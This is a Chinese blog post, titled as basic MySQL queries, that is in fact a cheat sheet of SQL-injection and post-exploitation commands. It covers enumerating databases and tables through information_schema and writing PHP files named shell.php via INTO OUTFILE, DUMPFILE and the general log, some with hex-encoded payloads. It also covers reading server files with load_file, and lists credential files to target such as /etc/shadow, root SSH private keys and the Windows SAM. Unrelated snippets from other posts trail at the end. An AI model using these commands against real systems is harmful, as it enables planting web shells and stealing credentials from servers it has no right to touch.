mysql 基礎查詢語句

2022-02-01 02:27:33 字數 3481 閱讀 4831

select @@version        查詢資料庫版本

select version() 查詢資料庫版本

select @@servername 客戶端主機名

select @@servername 服務端主機名

select user() 查詢當前使用者名稱

select current_user() 查詢當前連線使用者名稱

select system_user() 查詢資料庫使用者名稱

select database() 查詢當前連線資料庫

select @@version_compile_os 查詢資料庫安裝作業系統

select @@datadir 查詢資料庫絕對路徑

select @@basedir 查詢資料安裝路徑

select * from information_schema.processlist; 檢視當前 mysql 的連線情況

select group_concat(schema_name) from information_schema.schemata 查詢所有資料庫

select group_concat(table_name) from information_schema.tables where table_schema=database() 查詢當前資料庫的所有表

select group_concat(table_name) from information_schema.tables where table_schema='' 查詢資料庫為dvwa,表名

select group_concat(column_name) from information_schema.columns where table_name='name' 查詢表為name的列名

select group_concat(id,name) from name 查詢name表id和name欄位

檢視 匯入和匯出是否有限制

show variables like 『%secure_file_priv%』;

- 限制 mysqld 不允許匯入 | 匯出

- mysqld –secure_file_prive=null

- 限制mysqld 的匯入 | 匯出 只能發生在/tmp/目錄下

- mysqld –secure_file_priv=/tmp/

- 不對mysqld 的匯入 | 匯出做限制

- mysqld secure_file_prive=''

select '<?php phpinfo();?>' into outfile 'c:\\shell.php'

select 0x273c3f70687020706870696e666f28293b3f3e27 into dumpfile 'c:\\shell.php'

into outfile 'c:\\shell.php' lines terminated by 0x273c3f70687020706870696e666f28293b3f3e27

into outfile 'c:\\shell.php' fields terminated by 0x273c3f70687020706870696e666f28293b3f3e27

into outfile 'c:\\shell.php' columns terminated by 0x273c3f70687020706870696e666f28293b3f3e27

into outfile 'c:\\shell.php' lines starting by 0x273c3f70687020706870696e666f28293b3f3e27

outfile函式可以匯出多行,而dumpfile只能匯出一行資料

outfile函式在將資料寫到檔案裡時有特殊的格式轉換,而dumpfile則保持原資料格式

​利用 mysql 日誌進行寫入

show variables like '%general%'; #檢視配置

set global general_log = on; #開啟general log模式

set global general_log_file = 'e:/study/www/evil.php'; #設定日誌目錄為shell位址

select '<?php phpinfo();?>' #寫入shell

set global general_log=off; #關閉general log模式

create table readfile(cmd text);

insert into readfile(cmd) values (load_file('d:/test.php'));

select * from readfile;

load data infile 'd:/test.php' into table readfile;

select * from readfile;

liunx 可用檔案

/etc/udev/rules.d/70-persistent-net.rules 獲取網絡卡名稱。

/etc/passwd

/etc/shadow

/etc/hosts

/root/.bash_history //root的bash歷史記錄

/proc/sched_debug // 提供cpu上正在執行的程序資訊,可以獲得程序的pid號,可以配合後面需要pid的利用

/proc/mounts // 掛載的檔案系統列表

/proc/net/arp //arp表,可以獲得內網其他機器的位址

/proc/net/route //路由表資訊

/proc/net/tcp and /proc/net/udp // 活動連線的資訊

/proc/net/fib_trie // 路由快取

/proc/version // 核心版本

/proc/[pid]/cmdline // 可能包含有用的路徑資訊

/proc/[pid]/environ // 程式執行的環境變數資訊,可以用來包含getshell

/proc/[pid]/cwd // 當前程序的工作目錄

ssh/root/.ssh/id_rsa

/root/.ssh/id_rsa.pub

/root/.ssh/authorized_keys

/etc/ssh/sshd_config

/var/log/secure

/etc/sysconfig/network-scripts/ifcfg-eth0

/etc/syscomfig/network-scripts/ifcfg-eth1

windows 可用檔案

c:\boot.ini 檢視系統版本

c:\windows\repair\sam 儲存系統初次安裝的密碼

MySQL基礎 DQL語句(基礎查詢)

基礎查詢 語法 select 查詢列表 from 表名 備註 1.查詢列表可以是 表中的字段,常量值,表示式 2.查詢的結果是乙個虛擬的 查詢示例 1.查詢表中的單個字段 select last name from employees 2.查詢表中的多個字段 多個字段之間用 隔開 select la...

Mysql語句常見查詢(基礎篇)

一些基礎的sql語句,最近在看sql語句,和sql的優化,就在筆記中做了些總結,不全面,以後會進行一些補充。sql基礎內容 1,select from user 查詢user表所有 2,select distinct user age user name from user 查詢所有不重複的user...

MySQL條件查詢語句基礎操作

select 欄位1,欄位2.from 表名 where 條件 例 select from students where id 1 比較運算子 例1 查詢小喬的年齡 select age from students where name 小喬 例2 查詢20歲以下的學生 select from st...